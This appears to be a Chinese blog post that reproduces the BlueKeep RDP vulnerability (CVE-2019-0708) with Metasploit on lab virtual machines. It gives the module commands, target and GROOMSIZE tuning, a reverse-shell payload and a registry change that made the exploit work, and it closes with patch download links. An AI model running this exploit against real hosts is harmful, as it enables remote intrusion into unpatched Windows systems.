CVE-2019-0708漏洞,kali的msf中模块利用
0x00 漏洞描述
2019年5月14日,微软发布了本月安全更新补丁,其中包含一个RDP(远程桌面服务)远程代码执行漏洞的补丁更新,对应CVE编号:CVE-2019-0708,相关信息链接:
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708
https://blogs.technet.microsoft.com/msrc/2019/05/14/prevent-a-worm-by-updating-remote-desktop-services-cve-2019-0708/
CVE-2019-0708是微软发布的一个严重的RDP远程代码执行漏洞。该漏洞无需身份认证和用户交互,可能形成蠕虫爆发,影响堪比wannycry。
2019年09月07日,@rapid7 在其metasploit-framework仓库公开发布了CVE-2019-0708的利用模块,漏洞利用工具已经开始扩散,已经构成了蠕虫级的攻击威胁
0x01 影响版本
Windows 7
Windows Server 2008 R2
Windows Server 2008
Windows Server 2003
Windows XP
0x02 漏洞原理
该漏洞利用方式是通过远程桌面端口3389,RDP协议进行攻击的。
这个漏洞是今年来说危害严重性最大的漏洞,跟之前的勒索病毒永恒之蓝差不多。
CVE-2019-0708漏洞是通过检查用户的身份认证,导致可以绕过认证,不用任何的交互,直接通过rdp协议进行连接发送恶意代码执行命令到服务器中去。如果被攻击者利用,会导致服务器入侵,中病毒,像WannaCry 永恒之蓝漏洞一样大规模的感染。
2019年9月7日晚上凌晨1点左右,metaspolit更新了漏洞利用程序。
未经身份验证的攻击者利用该漏洞,向目标Windows主机发送恶意构造请求,可以在目标系统上执行任意代码。
0x03 环境搭建与准备
本次复现版本为Windows 7 sp1和Windows Server 2008 R2
Windows 7 sp1:
ed2k://|file|cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408.iso|3420557312|B58548681854236C7939003B583A8078|/
Windows Server 2008 R2:
ed2k://|file|cn_windows_server_2008_r2_standard_enterprise_datacenter_and_web_with_sp1_vl_build_x64_dvd_617396.iso|3368962048|7C210CAC37A05F459758BCC1F4478F9E|/
Vmware版本15
msf升级
msf升级很简单,打开终端输入下面两条命令即可
apt-get update
apt-get install metasploit-framework
启动msfconsole
search 0708 搜索0708的位置
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce 使用这个模块
Show options ##查看设置情况
info ##查看基本信息情况
可见关键设置主要为RHOSTS、RPORT 、 target
使用set RHOSTS 受害机IP设置受害机IP
使用set RPORT 受害机PORT设置受害机RDP端口号(默认3389)
使用set target ID数字(可选为0-7)设置受害机机器架构
这里我们使用的是VMware 15,那么target 4满足条件
使用exploit或者run开始攻击,等待建立连接。
Show payloads ##查看payload,set payload ... 可进行设置payload
Show advanced ##查看高级选项的参数,
其中groomsize 默认250MB,ForceExploit 默认false 也可以set ForceExploit true 设置为true。
Show -h ##查看帮助
Windows 7 sp1的准备工作
Win7--IP地址为:192.168.80.131,内存4g
开启3389端口,并且关闭防火墙,kali与win7之间能相互ping通。
带宽不受限。
0x04 测试
set payload windows/x64/messagebox
这个payload是在靶机上弹出一个窗口。在执行run后,可看到win7靶机上弹出窗口,如下图:
set rhosts 192.168.80.131
set target 3 ####今天target为4 时,无法成功,但是昨天target等于4时还能行,并且我的vmware为15。target参数的设置需要自己多切换不同的参数试试。
run
set payload generic/shell_reverse_tcp 设置payload为generic/shell_reverse_tcp
可以看到在终端中输入ipconfig后,回显192.168.80.131
见解分析
在传送250MB包,网速不受限制的情况下,网速最高达到48MB/s,但是现实中这个不可能达到的情况,现实中顶多也就是10MB/s左右,这个原因是这个漏洞无法利用的重要原因。Rdp协议连接超过30s左右(自己数的,具体协议上怎么规定的没有看)就会被断开。250MB包要在30s左右发出去。那就需要9MB/s左右的网速。但是现实不太可能实现。Metasploit中的这个脚本是rb语言,环境不太通用,缺乏移植性,这也是一个原因。若是把rb语言换成python会好点,但这不是主要原因,主要原因还是rdp协议自动断开的问题。
出错的情况
这种情况下,靶机被打倒蓝屏。
这是与靶机之间ping不通,或者靶机防火墙没有关闭。
进一步测试
接下来调整带宽,与groomsize的大小。再次进行测试。
带宽100Mbps
Set GROOMSIZE 100
最高达到14MiB/s,成功。
带宽45Mbps
Set GROOMSIZE 80
最高达到5.9MiB/s,成功。
带宽在45Mbps情况下,Set GROOMSIZE 40
最高达到5.9MiB/s,成功。
带宽在45Mbps情况下,Set GROOMSIZE 30
最高达到5.9MiB/s,成功。
再次减小GROOMSIZE或带宽的值就不行了。
当然带宽也可以自定义。
Windows Server 2008 R2的准备工作
win server 2008--IP地址为:192.168.80.130,内存2g
开启3389端口,并且关闭防火墙,kali与win server 2008之间能相互ping通。
带宽不受限。
当时测试时候没有成功,老是蓝屏(真是永恒之蓝啊),后来请教了别人说是修改注册表。
Win + R 输入 regedit 进入注册表编辑器,按以下目录找到 fDisableCam 并将值改为0
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\Winstations\RDP-Tcp\fDisableCam = 0
0x05 总结
这篇文章写得还不是很好,有些地方的截图没截取,见解分析那一块也是向大佬学习才熟知的。
win server 2008也没有再去测试,只是知道了要修改注册表的地方,等我测试好了再把图补上。
现在exp不是很稳定,很难在实战中利用,事无绝对,说不定就有大佬牛人已经吃到肉了。2333
tips:若是不成功的话payload与target多尝试几个。总会成功的
参考链接:https://www.cnblogs.com/-mo-/p/11483820.html
0x06 修复方式
下载补丁:
Windows 7 sp1:
http://download.windowsupdate.com/d/msdownload/update/software/secu/2019/05/windows6.1-kb4499175-x64_3704acfff45ddf163d8049683d5a3b75e49b58cb.msu
Windows Server 2008 R2:
http://download.windowsupdate.com/c/msdownload/update/software/secu/2019/05/windows6.1-kb4499175-x64_3704acfff45ddf163d8049683d5a3b75e49b58cb.msu
上一篇: cli新建webpack模板项目